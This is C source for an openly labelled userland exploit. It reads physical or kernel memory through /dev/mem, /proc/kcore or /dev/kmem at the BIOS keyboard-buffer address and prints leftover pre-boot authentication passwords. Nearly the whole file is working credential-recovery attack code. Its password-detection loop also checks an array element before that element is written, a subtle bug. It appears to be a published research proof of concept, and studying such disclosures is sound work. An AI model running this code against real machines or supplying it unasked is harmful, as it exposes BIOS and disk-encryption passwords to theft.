/*
*
* BIOS keyboard buffer hysteresis generic userland exploit for *nix.
*
* // Jonathan Brossard - [email protected] - [email protected]
*
* Tested successfully under various Linux, *BSD and Solaris platforms.
*
*
* This code is able to retreive passwords from both /dev devices (a la /dev/mem,
* a raw mapping of the physical memory), and files from pseudo file system /proc (a la kcore,
* which contains kernel memory under the structure of a core file).
*
* Limited support is also provided to handle /dev/kmem under Linux.
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <getopt.h>

#include <malloc.h>
#include <sys/mman.h>

/*
* Define default targets files and offsets
*/
#define DEFAULT_DEVICE "/dev/mem"
#define BIOS_BUFFER_ADDRESS_M 0x041e

#define DEFAULT_PROC "/proc/kcore"
#define BIOS_BUFFER_ADDRESS_K 0x141e

#define DEFAULT_KERNEL_MAP "/dev/kmem"
#define KERNEL_BUFFER_ADDRESS 0xC000041E

#define BUFF_LENGTH 255 /* max length for pathnames */

/*
* Display some help
*/
int usage(int argc, char **argv) {

	fprintf(stderr,
		"usage: %s [-h] [--memory-device=<device>] [--pseudo-file=<pseudo file>]\n"
		"\n"
		"--help (or -h)				display this help\n"
		"--memory-device (or -m)		memory device (default: %s)\n"
		"--pseudo-file (or -p)			/proc pseudo file (default: %s)\n"
		"--kernel-device (or -k) *LINUX* *ONLY*	kernel memory device (default: %s)\n"
		"\n",
		argv[0], DEFAULT_DEVICE, DEFAULT_PROC, DEFAULT_KERNEL_MAP);

	exit(-2);
}

/*
* Give some credits
*/
int credits(void) {

	printf("\n  [ BIOS keyboard buffer hysteresis generic userland exploit for *nix. ]\n"
		"  // Jonathan Brossard - [email protected] - [email protected]\n\n"
		"  Tested under several flavours of GNU/Linux, *BSD and Solaris.\n\n"); 

	return 0;
}

int main(int argc, char **argv)
{
	int fd, i=0,j, f;

	char tab[32];
	char tab2[16];

	int c;
	int digit_optind = 0;

	int TARGET_OFFSET;
	char TARGET_FILE[BUFF_LENGTH];

	int device_flag = 0;	/* are we processing a device ? */
	int proc_flag = 0;	/* are we processing a file from /proc pseudo filesystem ? */
	int kernel_flag = 0;	/* are we processing /dev/kmem ? */
	int password_flag = 0;	/* is there a password stored in BIOS memory ? */


	credits();

	if (argc < 2)
		usage(argc, argv);

	/*
	* Command line options parsing
	*/
	while (1) {
		int this_option_optind = optind ? optind : 1;
		int option_index = 0;
		static struct option long_options[] =
		    { 	{"help", 0, 0, 'h'},
			{"memory-device", 2, 0, 'm'},
			{"pseudo-file", 2, 0, 'p'},
			{"kernel-device", 2, 0, 'k'},
			{0, 0, 0, 0} };

		c = getopt_long(argc, argv, "hp::m::k::", long_options,
				&option_index);
		if (c == -1)
			break;

		switch (c) {
		case 'h':
			usage(argc, argv);
			break;

		case 'm':
			device_flag = 1;
			if(optarg != 0) {
				strncpy(TARGET_FILE, optarg, BUFF_LENGTH);
			} else {
				strncpy(TARGET_FILE, DEFAULT_DEVICE, BUFF_LENGTH);
			}
			TARGET_OFFSET = BIOS_BUFFER_ADDRESS_M;
			break;

		case 'p':
			proc_flag = 1;
			if(optarg != 0) {
				strncpy(TARGET_FILE, optarg, BUFF_LENGTH);
			} else {
				strncpy(TARGET_FILE, DEFAULT_PROC, BUFF_LENGTH);
			}
			TARGET_OFFSET = BIOS_BUFFER_ADDRESS_K;
			break;

		case 'k':
			kernel_flag = 1;
			if(optarg != 0) {
				strncpy(TARGET_FILE, optarg, BUFF_LENGTH);
			} else {
				strncpy(TARGET_FILE, DEFAULT_KERNEL_MAP, BUFF_LENGTH);
			}
			TARGET_OFFSET = KERNEL_BUFFER_ADDRESS;
			break;

		default:
			fprintf(stderr, "[!!] unknown option : '%c'\n", c);
			exit(-2);
		}
	}

	/*
	* Read potential password from file
	*/
	if( (device_flag && proc_flag) || (device_flag && kernel_flag) || (kernel_flag && proc_flag) || (!device_flag && !proc_flag && !kernel_flag) )
		usage(argc, argv);


	fd = open(TARGET_FILE, O_RDONLY);
	if (fd == -1) {
		perror("Fatal error in open ");
		exit(-1);
	}

	int PageSize = (int)sysconf(_SC_PAGESIZE);
	if ( PageSize < 0) {
		perror("Fatal error in sysconf ");
	}

	char* map = mmap(0, PageSize, PROT_READ , MAP_SHARED, fd, TARGET_OFFSET & ~0xFFF);	
	if(map == MAP_FAILED) {
		perror("Fatal error in mmap");
		exit(-1);
	}

	memcpy(tab, map + TARGET_OFFSET - (TARGET_OFFSET & ~0xFFF),32);
	
	
	for (j = 0; j < 16; j++) {
		tab2[i] = tab[2 * j];
		i++;
		
		if (tab2[i] <= 0x7e && tab2[i] >= 0x30 )
			password_flag = 1;
	}

	if (password_flag) {
		printf("--[ Password (to the latest pre boot authentication software) : ");
	} else {
		printf("--[ No password found\n\n");
		exit(0);
	}

	for (i = 0; i < 16; i++) {

		/*
		* We might have several passwords concatenated in case of multiple preboot authentication softs
		*/
		if ( i<15 && tab2[i] == 0x0d && tab2[i+1] != 0x0d && tab2[i+1] <= 0x7e && tab2[i+1] >= 0x30 ) {
			printf("\n--[ Password (to a previous authentication software) :");
		} else {
			printf("%c", tab2[i]);
		}
	}

	printf("\n\n");

	/*
	* Clean up...
	*/
	if (munmap(map, PageSize) < 0) {
		perror("Non fatal error in munmap ");
	}
	close(fd);

	return 0;
}